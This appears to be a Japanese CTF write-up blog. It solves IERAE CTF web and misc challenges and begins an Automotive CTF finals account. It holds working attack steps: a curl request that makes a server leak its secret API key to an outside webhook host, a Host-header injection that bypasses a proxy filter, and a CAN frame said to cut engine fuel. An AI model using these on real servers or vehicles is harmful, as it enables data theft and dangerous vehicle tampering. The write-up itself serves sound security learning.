いい感じのUIは用意されておらず、curl 等で叩く必要があるけれども、ユーザを検索するシステムが与えられている。compose.yaml は次の通り。frontenduser-search という2つのコンテナがあることがわかる。frontend の裏に user-search があるという構成だろうけれども、user-search でも ports が指定されているのはよくわからない。ランダムなポート番号で公開されてしまうのではないか。

services:
  frontend:
    build:
      context: ./
      dockerfile_inline: |
        FROM denoland/deno:debian-1.46.3@sha256:5c2dd16fe7794631ce03f3ee48c983fe6240da4c574f4705ed52a091e1baa098
        COPY ./frontend.ts /app/
    restart: unless-stopped
    ports:
      - 3000:3000
    environment:
      - FLAG=IERAE{dummy}
    command: run --allow-net --allow-env /app/frontend.ts
  user-search:
    build:
      context: ./
      dockerfile_inline: |
        FROM denoland/deno:debian-1.46.3@sha256:5c2dd16fe7794631ce03f3ee48c983fe6240da4c574f4705ed52a091e1baa098
        COPY ./user-search.ts /app/
    restart: unless-stopped
    ports:
      - 3000
    environment:
      - FLAG=IERAE{dummy}
    command: run --allow-net --allow-env /app/user-search.ts

frontend のコードに対応する frontend.ts は次の通り。非常にシンプルで、/search が叩かれたときにのみ user-search のAPIを叩いてユーザの検索をしに行くらしい。この際、フラグをAPIキーとしてクエリパラメータに付与している。

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });

user-search のコードである user-search.ts は次の通り。こちらも大したことはしておらず、元々存在している一覧から、与えられたユーザIDに対応するモモフレンズ*3の名前を引っ張ってきて返しているだけだ。なお、このAPIはAPIキーがなければ叩くことができない。そして、そのAPIキーはフラグだ。

type User = {
  name: string;
};

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });

function search(id: string) {
  const user = users.get(id);
  return user;
}

function handler(req: Request): Response {
  // API format is /:id
  const url = new URL(req.url);
  const id = url.pathname.slice(1);
  const apiKey = url.searchParams.get("apiKey") || "";

  if (apiKey !== FLAG) {
    return new Response("Invalid API Key.");
  }

  const user = search(id);
  if (!user) {
    return new Response("User not found.");
  }

  return new Response(`User ${user.name} found.`);
}

Deno.serve({ port: PORT, handler });

frontend.ts を見て、なんとかしてクエリパラメータを外部に投げさせることはできないかと思う。次のように URL を使ってリクエスト先のURLを構築しているわけだけれども、ここで user を任意のものに操作できることを使えないか。

const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
// …
async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

MDNのドキュメントには「url が絶対 URL である場合、指定された base は無視されます。」とある。先程の関数では base、つまり第2引数は USER_SEARCH_API が指定されていたわけだけれども、url、つまり第1引数を絶対URLにすればそれを無視させられるらしい。やってみよう。

次のように、クエリパラメータの user について、送られてきたリクエストの内容を我々が確認できるページの絶対URLにする。

$ curl http://(省略)/search?user=https://webhook.site/…/
…

すると、APIキー付きでそのURLにリクエストが来た。フラグが得られた。

IERAE{yey!you_got_a_web_warmup_flag!}

[Web 315] babewaf (11 solves)

I was tormented by "babywaf" in last Xmas, so I tried to pay homage to it.

(問題サーバのURL)

添付ファイル: distfiles_babewaf.tar.gz

Author: y0d3n

与えられたURLにアクセスすると、なんか見たことのある画面が表示される。このボタンを押すと、/givemeflag へリクエストが送られつつ 🚩 とダイアログが表示された。

コードを見ていく。まず compose.yaml だけれども、proxybackend という2つのコンテナがあるらしい。proxy を通して backend にアクセスできるのだろう。ただ、[Web] Futari APIsでもそうだったけれども、backend でも ports が指定されていて不思議だ。

services:
  proxy:
    build: ./proxy
    restart: unless-stopped
    ports:
      - 3000:3000
    environment:
      - BACKEND=http://backend:3000/
    init: true
  backend:
    build: ./backend
    restart: unless-stopped
    ports:
      - 3000
    environment:
      - FLAG=IERAE{dummy}

proxyindex.js は次の通り。非常にシンプルで、http-proxy-middleware でプロキシを作っているらしい。裏の backend にそのままリクエストを流してくれるらしいけれども、%flag がリクエストに入っているとダメらしい。

const express = require("express");
const { createProxyMiddleware } = require("http-proxy-middleware");

const app = express();
const BACKEND = process.env.BACKEND;

app.use((req, res, next) => {
  if (req.url.indexOf("%") !== -1) {
    res.send("no hack :)");
  }
  if (req.url.indexOf("flag") !== -1) {
    res.send("🚩");
  }
  next();
});

app.get(
  "*",
  createProxyMiddleware({
    target: BACKEND,
  }),
);

app.listen(3000);

backendindex.js は次の通り。Honoが使われており、/givemeflag にアクセスするとフラグがもらえるらしい。ただ、先程見たように proxyflag という文字列がURLに含まれていると弾いてしまうから、そのままではこの /givemeflag のレスポンスは得られない。

import { Hono } from 'hono'
import { serveStatic } from 'hono/deno'

const app = new Hono()
const FLAG = Deno.env.get("FLAG");

app.get('/', serveStatic({ path: './index.html' }))

app.get('/givemeflag', (c) => {
  return c.text(FLAG)
})

export default app

ではどうするか。パス名以外の部分で、たとえばヘッダでなんとかできないかと考えた。つまり、proxyreq.url を参照した際には %flag は含まれていないので怒られないけれども、proxy から backend へのリクエストがなされる際には、そのパス名が /givemeflag やそれに類するものになるような影響を与えられるようなヘッダはないか。

とは言ってもあまり思いつくものはないわけだが、たとえば Host ならばどうだろうか。backend のコードに次のような処理を書き加え、backend 側での req.urlreq.path を参照できるようにする。

app.get('/*', (c) => {
  console.log('[url]', c.req.url)
  console.log('[path]', c.req.path)
  return c.text('hoge')
})

Host: hoge では何も起こらないが、ホスト名を hoge/a に変えると、パスが /a/ に変わっている様子が確認できた。どうやら Host ヘッダがホスト名とポート番号のみから構成されているかというのはチェックされていないらしい。

hoge/givemeflag ではパスが /givemeflag/ となってしまい、残念ながら /givemeflag にはマッチせずフラグは出ない。では ? もそのままになるのだろうかと hoge/givemeflag? を試してみたところ、通った。

$ curl http://(省略) -H "Host: hoge/givemeflag?"
IERAE{hono_1s_h0t_b4by}
IERAE{hono_1s_h0t_b4by}

[Misc 378] gnalang (6 solves)

I invented a new language. Your task is to write a palindromic polyglot of JavaScript and POSIX Shellscript!

(問題サーバへの接続情報)

添付ファイル: distfiles_gnalang.tar.gz

Author: hugeh0ge

問題の概要

以下のようなコードが与えられている。ちょっと読むのが面倒くさいけれども、どうやら回文判定をするJavaScriptとシェルスクリプトのpolyglotを書く問題らしい。両言語のいずれも回文判定をする必要があるし、しかも面倒なことにただのpolyglotではなく、そのプログラム自体も回文でなければならない。

まだ制約はある。JSもシェルスクリプトも終了コードは0でなければならないので、とりあえず正解の文字列だけ出力して後はエラー吐き放題というわけにはいかない。また、$, #, //, <!--, -->, LF, スペースが含まれていてはならず、シェルスクリプトで変数を参照したり、あるいはJSにおいてコメントで後半部分を無効化させたりといったことができない。

JSとシェルスクリプトのpolyglotと聞いて、U+2028でJSだけ改行させられるし、後はコメントアウトすれば楽勝じゃ~んと思いつつ詳細を確認したけれども、面倒くさい問題だと理解した。

#!/usr/bin/env python3

"""
Your task is to write a polyglot of JavaScript and shell script.
The polyglot must meet the following conditions:

 - The polyglot must be executable in `sh` and `node` both.
 - `sh` and `node` must exit normally when executing the polyglot.
 - `sh` and `node` must return the same output when executing the polyglot.
 - `sh` must never cause error for each executed command.
 - The polyglot must output "Yes\n" when the string given from stdin is a palindrome. "No\n" otherwise.
 - The polyglot must be a palindrome.
 - The polyglot must not contain the following tokens: '$', '#', "//", "<!--", "-->", '\n', ' '.
 - The polyglot must not write anything to file as a shell script (because it fails and causes error)

Sample Input  #1
ABCDEEDCBA
----------------
Sample Output #1
Yes

----------------
Note that inputs do not contain '\n' while outputs should contain '\n'.

================

Sample Input  #2
ABCDE
----------------
Sample Output #2
No

----------------

"""

import sys
import string
import random
import tempfile
import subprocess

def myassert(cond, msg):
  if not cond:
    print(msg)
    sys.exit(1)

def main():
  sys.stdout.write('Input program: ')
  sys.stdout.flush()

  prog = sys.stdin.readline()
  myassert(prog[-1] == '\n', "the program should end with '\n'")

  prog = prog[:-1] # trim

  # disallowed chars
  myassert(not '$' in prog, "$ should not be contained")
  myassert(not '#' in prog, "# should not be contained")
  myassert(not ' ' in prog, "' ' should not be contained")
  myassert(not '\n' in prog, "'\\n' should not be contained")
  myassert(not '//' in prog, "\"//\" should not be contained")
  myassert(not '<!--' in prog, "\"<!--\" should not be contained")
  myassert(not '-->' in prog, "\"-->\" should not be contained")

  # should be a palindrome
  myassert(prog == prog[::-1], "the program should be a palindrome")

  with tempfile.NamedTemporaryFile(mode='w') as sh_f:
    sh_f.write('set -eu\n') # no error should be allowed
    sh_f.write(prog)
    sh_f.flush()

    with tempfile.NamedTemporaryFile(mode='w') as js_f:
      js_f.write(prog)
      js_f.flush()

      # verify program with 100 testcases
      for i in range(100):
        testcase = ''.join(random.choices(string.ascii_uppercase + string.digits, k=5))

        is_palindrome = random.randint(0, 1)
        if is_palindrome:
          testcase = testcase + testcase[::-1]

        subprocess.run(['chmod', 'o+r', sh_f.name])
        sh_result = subprocess.run(['sudo', '-u', 'nobody', 'sh', sh_f.name], 
                                      input=testcase.encode(), capture_output=True)
        myassert(sh_result.returncode == 0, "sh should exit normally")
        sh_output = sh_result.stdout
        print('sh output: {}'.format(sh_output))

        subprocess.run(['chmod', 'o+r', js_f.name])
        js_result = subprocess.run(['sudo', '-u', 'nobody', 'node', js_f.name], 
                                      input=testcase.encode(), capture_output=True)
        myassert(js_result.returncode == 0, "node should exit normally")
        js_output = js_result.stdout
        print('js output: {}'.format(js_output))

        # output must be the same between js and sh
        myassert(sh_output == js_output, "sh and node should return the same output")

        # the program must judge if the given string is a palindrome
        if is_palindrome:
          myassert(sh_output == b'Yes\n', "the program should output Yes")
        else:
          myassert(sh_output == b'No\n', "the program should output No")

  with open('./flag.txt') as f:
    flag = f.read()

  sys.stdout.write('Well done!\n')
  sys.stdout.write('The flag is {}\n'.format(flag))
  sys.stdout.flush()

if __name__ == '__main__':
  main()

私が問題を確認した時点でSatokiさんが結構な時間をこの問題で費やしており、JSとシェルスクリプトのpolyglotを書くにあたって () での関数呼び出しが邪魔になるというアドバイスが残されていた。つまり、JSではよくても、シェルスクリプトでは文法上カッコが登場するのは関数定義やらなんやらといった場合で、両方で成り立たせるのが難しい。こういった障害を乗り越えていかなければならない。

コメントアウトでなんとかすることへの未練が断ち切れず、ECMAScriptの仕様を確認した。しかしながら、先程見たようにHTML-likeコメントも通常のコメントも潰されている。/* … */ はいい感じに左右対称となっており利用できそうだが、シェルスクリプトでもうまいこと動かすには頭を働かせる必要がありそうだ。見落としているものだったり、現状は仕様外だが実装されているものがないかと調べたが、Hashbang Commentsぐらいしか見つからないし、これも # を含むのでダメだ。

とりあえずpolyglotを書く

コメントアウトでなんとかする方針を捨て、真面目にやっていくことにする。まずは回文については一旦忘れて、JSとシェルスクリプトのpolyglotを書くコツを掴むことにした。JS側での関数呼び出しは、前述のようにカッコでやるのはシェルスクリプトとの整合性を保つのが面倒(また、回文を作る際にも )( となった状態をなんとかするのが面倒)であったことから、タグ付きテンプレートリテラルでなんとかすることにした。

最初に出来上がったのが次のpolyglotだ。

Function `console.log\x28123\x29;process.exit\x280\x29` `` &node -e +"console.log(456)"

まずJavaScriptとして見ていく。タグ付きテンプレートリテラルが関数に引数を渡す際の挙動のために、eval ではなく Function を使いつつ、文字列をコードとして実行させる。& 以降の node -e … はJSの文法上は正しいけれども、存在していない変数を参照しているためそのままだとエラーが起こる。なので、実行させないように process.exit(0) でプロセスを終了させてしまう。

シェルスクリプトとして見ていく。バックティックは、シェルスクリプト側では echo `id` のように、それで囲まれた部分をコマンドとして実行しその実行結果で置き換えるという意味を持つ。したがって、先程のコードでは console.log… という一連の文字列はOSコマンドとして実行される*4。もちろんそれも、Function もコマンドとしては存在しないために失敗するわけだけれども、& でバックグラウンド実行されるので、終了コードには影響がない。本命の処理は & 以降で、$ なしにシェルスクリプトで回文判定を書くのはつらいので、Node.jsに丸投げしている。

こうして、JSとして実行すると 123 を出力し、シェルスクリプトとして実行すると 456 を出力するpolyglotが出来上がった。禁止されているスペースが含まれているけれども、タブで置き換えればよいだろう。

ほか、polyglotを書くにあたってのポイントとして、次のようなものを考えた。これはCTFの問題であってフラグさえ得られればよく、芸術性は求められていない。自分が書きやすければそれでよいので、どうやれば楽そうかという方針だ:

  • 大方針として、前半はJSで回文判定をする処理を押し込み、後半ではシェルスクリプトで同様の処理を置くといったように、完全に言語ごとにパートを分けてしまう
  • & はショートサーキットを利用して || でもよい。というよりも、JS側でもシェルスクリプト側でもショートサーキットを利用して、以降の処理は飛ばすか飛ばさないかを選ぶために &&|| を多用していきたいところ
  • JSでもシェルスクリプトでも大体文字列の中に主要な処理を押し込んでしまうことで、いずれの言語でも文法上正しくなるよう考える必要性をできるだけなくす

頑張って回文にする

さて、これをいい感じに回文にしなければならない。先程のコードをいじりつつ、回文を出力するようなPythonスクリプトを用意した。シェルスクリプト側はこれで何もエラーは吐かないわけだけれども、JS側でエラーを吐きまくり面倒だ。なんとかしたい。

prog = """
Function `console.log\\x28123\\x29;process.exit\\x280\\x29` ``||node -e +'console.log`456`'&&exit||a
""".strip().replace(' ', '\t')
prog += prog[::-1]

Function `a` `b` という構造がひっくり返ると `b` `a` noitcnuF という構造になってしまうのが一番の問題で、これでシンタックスエラーが起こってしまう。上述のようにショートサーキットのおかげでひっくり返した後も正常に実行できる必要はなく、文法上正しければそれでよいわけだけれども、その前提の上でもよい方法が思いつかない。

ヤケクソでブルートフォースしてみることにした。適当に1, 2文字ほどを Function の前後に入れてみて、回文にしても文法上問題ないような文字の組み合わせはないか探す。

for (let i = 0; i < 0x100; i++) {
    for (let j = 0; j < 0x100; j++) {
        for (let k = 0; k < 0x100; k++) {
            const c = String.fromCharCode(i);
            const d = String.fromCharCode(j);
            const e = String.fromCharCode(k);
            if (c === '=' || d === '=' || e === '=') continue;
            const code = c + d + 'func' + e + '`123`'

            const edoc = code.split('').reverse().join('');

            if (code.includes('//')) continue;

            try {
                let ff = false;
                function func() { ff = true }
                eval(code + '||' + edoc);

                if (ff) {
                    console.log(JSON.stringify(code + '||' + edoc), c, d);
                }
            } catch { }
        }
    }
}

驚くべきことに、いくつか候補が見つかった。Function の前にラベルを、そして後ろに改行文字を置くパターンならば動くらしい。どういうことだろうか。

$ node 暴力.js
"c:func\n`123`||`321`\ncnuf:c" c

"c:func\r`123`||`321`\rcnuf:c" c
"d:func\n`123`||`321`\ncnuf:d" d

"d:func\r`123`||`321`\rcnuf:d" d
"e:func\n`123`||`321`\ncnuf:e" e
…

noitcnuF:Function\r`console.log(123)` `a` というパターンを考える。これは見たままで、noitcnuF: という部分は単なるラベルとして解釈されるし、以降は Function に引数が渡されて関数が作られ、それが呼び出されるというような流れとして解釈される。

では、それを反転させた `a` `)321(gol.elosnoc`\rnoitcnuF:Function はどうか。`a` `)321(gol.elosnoc` の部分は、a という文字列を関数として、)321(gol.elosnoc を引数として呼び出すという意味になる。さて、ここに改行文字が入っているのが効いてくる。おかげで、セミコロンの自動挿入により一旦一連の文が終わり、仕切り直しとなる。続いて noitcnuF:Function が来るわけだけれども、noitcnuF というラベルで Function を参照しているという意味になる。

反転後の処理は文字列を関数として呼び出すというエラー必至のとんでもないことをしているが、文法上は問題ないし実行はされないので大丈夫だ。ということで、このテクニックを使うことで、シェルスクリプトとしてもJSとしても適切な回文polyglotを作ることができる。

解く

ここまで来たら後はやるだけだ。JSで回文判定を実装し、適切な箇所に挿入する。そして、出来上がったpolyglotを投げるスクリプトを書く。

from pwn import *
s = remote('(省略)', 9319)
s.recvuntil(b'Input program: ')

def conv(s):
    return ','.join(str(ord(c)) for c in s)

prog = """
noitcnuF:Function\r`eval\\x28String.fromCharCode\\x28PAYLOAD1\\x29\\x29` ``||1||node -e +'PAYLOAD2'&&exit||a
""".strip()
payload = '''
process.stdin.on("readable", () => { const s=process.stdin.read().toString(); console.log((s===s.split("").reverse().join(""))?"Yes":"No"); process.exit(0) })
'''.strip()
prog = prog.replace('PAYLOAD1', conv(payload)).replace('PAYLOAD2', payload).replace(' ', '\t')

prog += prog[::-1]

s.sendline(prog)

print(s.recvall())

実行するとフラグが得られた。

$ python3 solve.py 
…
b"sh output: b'No\\n'\njs output: b'No\\n'\nsh output: b'Yes\\n'\njs output: b'Yes\\n'\n…Well done!\nThe flag is IERAE{0mg_th3y_4r3_s0_t0re13nt_68a80ad1}\n\n"
IERAE{0mg_th3y_4r3_s0_t0re13nt_68a80ad1}

競技終了後にDiscordを見ていると、皆 /* … */ を活用してコードを組み立てていた。

[Misc 361] 5 (7 solves)

You can only use five different characters in JavaScript :)

(問題サーバのURL)

添付ファイル: distfiles_five.tar.gz

Author: Ark

まず、添付ファイル中の Dockerfile にある RUN mv flag.txt / という記述から、ローカルの /flag.txt にフラグがあるとわかる。あわせて、次のようなPythonスクリプトが与えられている。任意のJSコードをBunで実行してくれるらしい。ただし、使える文字は5種類だけだけれども。

from flask import Flask, request, session
from werkzeug.utils import secure_filename

import os
import secrets
import subprocess

app = Flask(__name__)
app.secret_key = secrets.token_hex(16)


@app.before_request
def hook():
    if "user_dir" not in session:
        session["user_dir"] = os.path.join("./sandbox", secrets.token_hex(16))
    os.makedirs(session["user_dir"], exist_ok=True)


@app.get("/")
def index():
    return """
<!DOCTYPE html>
<title>JS Sandbox</title>
<h3>Upload a JavaScript file</h3>
<form>
  <input type="file" name="file" accept=".js" required />
  <input type="submit" value="Upload" />
</form>
<script>
  const form = document.forms[0];
  form.addEventListener("submit", (event) => {
    event.preventDefault();
    const data = new FormData(form);
    fetch("/run", {
      method: "POST",
      body: data,
    })
      .then((r) => r.text())
      .catch((e) => e)
      .then(alert);
  });
</script>
""".strip()


@app.post("/run")
def run():
    if "file" not in request.files:
        return "Missing file parameter", 400
    file = request.files["file"]
    filename = secure_filename(file.filename or "")

    # A new JSFxxk challenge!
    content = file.read().decode()
    if len(set(content)) > 5:
        return "Too many characters :(", 400

    filepath = os.path.join(session["user_dir"], filename)
    open(filepath, "w").write(content)

    try:
        proc = subprocess.run(
            ["bun", filepath],
            capture_output=True,
            timeout=2,
        )
        if proc.returncode == 0:
            return "Result: " + proc.stdout.decode()
        else:
            return "Error"
    except subprocess.TimeoutExpired:
        return "Timeout"

コメントでも言及されているように、先行研究としてJSF**kがある。これは ![]+() の6種類の文字だけで任意のJSコードを実行できるようにするものだ。そこからさらに1種類減らして、5種類でやれということだろうか。

ただ、JSF**kのドキュメントにも記されているように、文字種を減らす用途ではバックティックを () の代わりに使えない話であったり、![]+ は自由に使えるが () は一度しか使えないという制約があったjailCTF 2024 - 2 callsのような直近の問題であったりから、パイプライン演算子が使えない限り5種類の文字での任意のJSコードの実行はおそらく不可能であろうと考える。SECCONで頻繁にJavaScript問を出しているArkさんのことなので、新たにその手法を見つけた可能性もないわけではないが、だとするとeasyとタグについているのはおかしい。

task4233さんが頑張って文字種を減らそうとしているのを見つつ、別の方針を考える。そういえば、アップロードしたJSコードは次のように実行されているのだった。bun run <filepath> でなく、サブコマンドを指定していない bun <filepath> で実行しているのはどういうことだろうか。

        proc = subprocess.run(
            ["bun", filepath],
            capture_output=True,
            timeout=2,
        )

また、このファイルパスは secure_filename(file.filename or "") と、ある程度元のファイル名を残す形で作られていた。これをなにかに利用できないだろうか。

まず、ファイル名からオプションを仕込むことができないかと考えた。secure_filename の実装を見に行くと、これは [^A-Za-z0-9_.-] を潰していることがわかるわけだけれども、つまりハイフンは残る。

しかしながら、ファイルパスは filepath = os.path.join(session["user_dir"], filename) のように、サンドボックスのディレクトリのパスから始まるよう構築されているし、session["user_dir"] は空にできない上にコントロールができない。この方針はダメそうだ。

@app.before_request
def hook():
    if "user_dir" not in session:
        session["user_dir"] = os.path.join("./sandbox", secrets.token_hex(16))
    os.makedirs(session["user_dir"], exist_ok=True)

サブコマンドを指定していない場合に何が起こるか追っていく。Bunのコードを読んでいると、まずサブコマンドを指定していなければ AutoCommand なるコマンドが実行されるとわかる。この場合に何が実行されるかを参照する。じっくり見ていくと、コマンドライン引数として渡されたファイルの拡張子を見ている様子がわかる。.lockb.sh といった拡張子が見える。

.sh ならば何が起こるのだろう。適当に試してみると、次のようにシェルスクリプトを実行できたように見える。おいおいおいおい。

$ cat a.sh
echo 123
$ bun a.sh
123

制限付きのシェルスクリプト実行というと、以前HITCON CTF Qualsで出題された問題を思い出すけれども、残念ながらカレントディレクトリにファイルを書き込む権限がないので同じ戦法は使えない。

色々試していると、シェルスクリプトとしては少し変な挙動をしていることに気づく。たとえば、/usr/bin/ca? flag.tx? のようにクエスチョンマークを入れても、ワイルドカードとしては機能してくれず、"command not found" と怒られてしまう。どういうことかと "bun shell" のようなクエリでググっていると、どうやら独自のシェルっぽいとわかってきた。

面倒だなあと思いつつ、いい感じに * のワイルドカードを使って、5種類の文字だけを使って /flag.txt を出力させられないかと色々試していた。


悩んでいると、taskさんが strings で決めてくれた。なるほどなあ。

*1:元々はIERAE DAYS 2023というカンファレンスで余興として出題されていたらしい。ただ、私はWebの2問を解くのに3時間弱かかり、とても片手間に遊べる問題とは思えなかった

*2:我々は事前に片付けていた!!!!

*3:私はウェーブキャットが好きです

*4:なお、カッコを\x28や\x29のようにエスケープしているけれども、これはカッコをコマンド名の一部とさせるためだ

Automotive CTF 2024 Japan決勝 writeup

9/13にオンサイトで6時間半ぐらい開催されていた。チーム藤原豆腐店で参加して3位。5名までが参加できるということだったけれども、うち3名はイタリアにいた。ルール上は原則*1オンサイトでの参加ということだったが、運営のご厚意で彼らもリモート参加できることになった*2。ただ、上位2チームのみがデトロイトへの切符をつかめるということで、今年度大会については我々はUS決勝へ進めなかった。

US決勝について、ieraeとTeamONEがそれぞれ1, 2位ということで進出権を手にしていた。おめでとうございます🎉🎉🎉 ieraeは予選でも1位、今回も早々に全完して1位ということでさすがの結果だった。TeamONEも、競技開始前のチーム紹介によると全員がオンサイトで顔を合わせるのは今回が初めてということであったが、素晴らしい連携で1問を除いてすべての問題を解き、単独での2位であった。

藤原豆腐店は2問を残しての3位(また、FCCPCおよびPwn4s0n1cも同点)と完敗だった。私は現地参加ではあったものの、ハードウェアを全然知らないためにjptomoyaさんに頼り切りであまりチームに貢献できなかったのが申し訳なく、この方面の技術を身に着けたいところ。

問題について、事前に参加者向けに「ハードウェアに関連する問題も出題される予定」というアナウンスがあった通り、また同アナウンスで言及されていたように、RAMNを題材としたものが多く出題されていた。ただ、ハードウェアに関連する問題「も」出題というレベルではなく、全15問のうちRAMNの問題が12問だった。もうちょっと問題の多様性があると嬉しかった*3*4かもしれない。RAMNの配布は1チーム1台で、問題数が多くまたある意味ボトルネックになってしまう問題*5が存在するといった課題はありつつも、オンサイトならではの問題ばかりで面白かったように思う*6。いや、ハードウェアに関しては私はあまり貢献できていないので知ったかぶりだが…

さて、予選の際に懸念していた通り、グローバル予選では海外チームを含めた総合順位で4位以内に入っており、日本に居住していなければオンライン予選から直接デトロイトへ行けたはずの、藤原豆腐店とFCCPCの2チームが敗退となった。国内決勝で脱落してしまったわけだから負け惜しみではあるけれども、やはりこの理不尽に思えるルールや、頑迷な日本・グローバルの両運営による裁定*7を遺憾に思う*8気持ちは変わらない。


競技時間中に解いた問題

[xNexus 1000] CAN Bus Anomaly #1 (5 solves)

<日本語> xNexusでCAN ID 0x3B9と0x3D1のCANバス異常を追跡して、その脆弱性IDを特定してください。ハッカーが通常参照するものを適切なフラグ形式で提出してください。

xNexusアカウント - (xNexusへの接続情報)

注意: アカウントのパスワードを変更したチームは即座に失格となります。絶対に変更しないでください。

<英語> Track the CAN Bus anomaly on xNexus for CAN ids 0x3B9 and 0x3D1. Determine its vulnerability ID. Yeah, what hackers usually refer to and submit it in a proper flag format.

xNexus account - (xNexusへの接続情報)

Note: Modificiation of the account password will result in immediate disqualification of your ENTIRE team from the CTF. DO NOT MODIFY.

予選でも似たような問題が出ていたが、VicOneが提供している、脅威を可視化できるxNexusというプラットフォームへの接続情報が与えられている。前回の手順を参考にしつつ、OAT Detectionsで叩かれているAPIを使って、今年に入ってからのデータをすべて保存する。CAN IDが0x3B9, 0x3D1であるデータについて、出現する全組み合わせは次の通り。

$ python3 s.py | sort -k2 | uniq | grep 3b9
0000000081949b 000003b9
010101010101 000003b9
0f550b26430785 000003b9
4359253c8d804803 000003b9
43a38d753a404327 000003b9
7dfc4c7f740caf2b 000003b9
7e56f254fa3f427d 000003b9
$ python3 s.py | sort -k2 | uniq | grep 3d1
007d 000003d1
0bc4a17587d59e1b 000003d1
16fa63 000003d1
1baa904fbc2c3926 000003d1
9f61db7e77 000003d1
afdccd2d080f 000003d1
c0854353fca5 000003d1
d75fa83168b0207e 000003d1

雑に "00 00 00 00 81 94 9b" で検索*9したところ、CVE-2022-26269の解説記事がヒットした。「脆弱性IDを特定」するのはCVE番号がわかったのでよいとして、「ハッカーが通常参照するもの」とはなんだろうか。悩んでもういいやとCVE番号で試そうとしたところ、先にSatokiさんが試し通ったようだった。素直にCVE番号と言えばよいものを、わざわざ「ハッカーが通常参照するもの」と詩的な表現をする意図がわからない。

bh{CVE-2022-26269}

予選で出題されていた問題の中でも同名のシリーズが、フラグ形式の曖昧さでも純粋なエスパー度でも特に凶悪で、悪夢の再来かと思われた。が、言うほどでもなかった。予選の問題のおかげである程度の耐性を得ることができたのかもしれない。

このようなフラグ形式等でのどうでもいい「意地悪」によって、単にプレイヤーを困らせるだけの問題ばかりを出題するのはやめていただきたい。この一連の問題では何が問われていたのだろうか。問題文から作問者の気持ちを読み取って、求められているらしい情報を抽出する能力だろうか。CTFdへ機械的にフラグを提出するスクリプトを書く能力だろうか。

[xNexus 1000] CAN Bus Anomaly #2 (5 solves)

<日本語> おっと、誰かが車両の全シリンダーへの燃料供給を停止するCANフレームを送信しています。完全なCANフレームを提供してください。 フラグ形式の例:bh{1337#0201}

xNexusアカウント - (xNexusへの接続情報)

注意: アカウントのパスワードを変更したチームは即座に失格となります。絶対に変更しないでください。

<英語> Oh no someone is sending a CAN Frame that kills fuel to all the cylinders of the vehicle. Provide the complete CAN Frame. Flag Format: bh{1337#0201}

xNexus account - (xNexusへの接続情報)

Note: Modificiation of the account password will result in immediate disqualification of your ENTIRE team from the CTF. DO NOT MODIFY.

「誰かが車両の全シリンダーへの燃料供給を停止するCANフレームを送信しています」と言われてもなあ。またxNexusで途方もない旅をする羽目になるのだろうか、OSINTをする必要があるのだろうか、あるいはユニークなCAN IDとCANフレームの組み合わせを全部提出すべきなのだろうかと思ってしまったけれども、すでに解いたチームの情報を見てみると、開始から30分で解いていたり、あるいは#1から5分程度で解いていたりする。意外と簡単らしい。

特に期待もせず、もし情報が出てきたらいいなぐらいの気持ちで "can messages" "kill fuel" と検索してみたところ、出てきた。しかもこの 06 30 1C 00 0F A5 01 00 というパケットは今回も出現していることがわかった。これだ。

ということで提出したいが、また困ったことにフラグ形式が曖昧だ。bh{1337#0201} という例が挙げられているけれども、CANフレームの方はhexでよいとして、CAN IDの方はどういうフォーマットにすればよいのだろうか。数字しかないから10進数か16進数かわからない*10。16進数ならばアルファベットは小文字だろうか、大文字だろうか。1337 と4桁だから、答えが1-3桁ならばゼロ埋めをすべきなのかもわからない。結局のところ、以下のフラグで通った。

bh{7e0#06301c000fa50100}

こちらも、意図したものとは言えないと思うがフラグ形式での「意地悪」で困ってしまった。フラグの例示は結構だけれども、極端な例だが「CAN IDとCANフレームを # でつなげ、bh{} で囲んだものをフラグとして提出せよ。なお、CAN IDはゼロ埋めしない16進数表記で、CAN IDとCANフレームのいずれもアルファベットが出現した際は小文字で回答せよ。例: bh{12a#0102abcd}」と指示する、もしくはもう少しゆるい指示をしつつも、正規表現等である程度柔軟にフラグを受け取るようにしていただきたかった。

[RAMN, ECU A 1000] Takeover (5 solves)

<日本語> 各CANメッセージが、ブレーキ 0xF0x、アクセル 0xDDx、ステアリングホイール 0xF1x、エンジンキー 0x02、ライトスイッチ 0x01、サイドブレーキ 0x00の場合、画面の下部にフラグが表示されます。

注意:

  • 末尾のxはCANメッセージの末尾4bitは無視することを意味します。
  • このチャレンジではCRCとカウンターは無視されます。
  • 画面に表示されるフラグ内の空白は"_"に置き換えてください。

<英語> Flag will be displayed at the bottom of the screen if brake CAN sensor data is 0xF0x (x meaning last 4 bits are ignored), accelerator data is 0xDDx, steering wheel data is 0xF1x, engine key data is 0x02, lighting switch data is 0x01, and side brake data is 0x00. Note: CRCs and counters are ignored for this challenge. Note: Please replace blank as "_" in the displayed flag.

問題文の意図がやや汲み取りづらいけれども、ブレーキやアクセル、エンジンキー等のECU内部での状態(正確にはCANメッセージで表現されている状態)が、それぞれ指定されているものにできれば勝ちらしい。

ではそれらの値はどうやって確認し、また変更できるか。以下の写真はRAMNを写したもので、これを見つつ説明する。普通の状態で撮った写真がなかったのでフラグがすでに出ているが、それは御愛嬌。

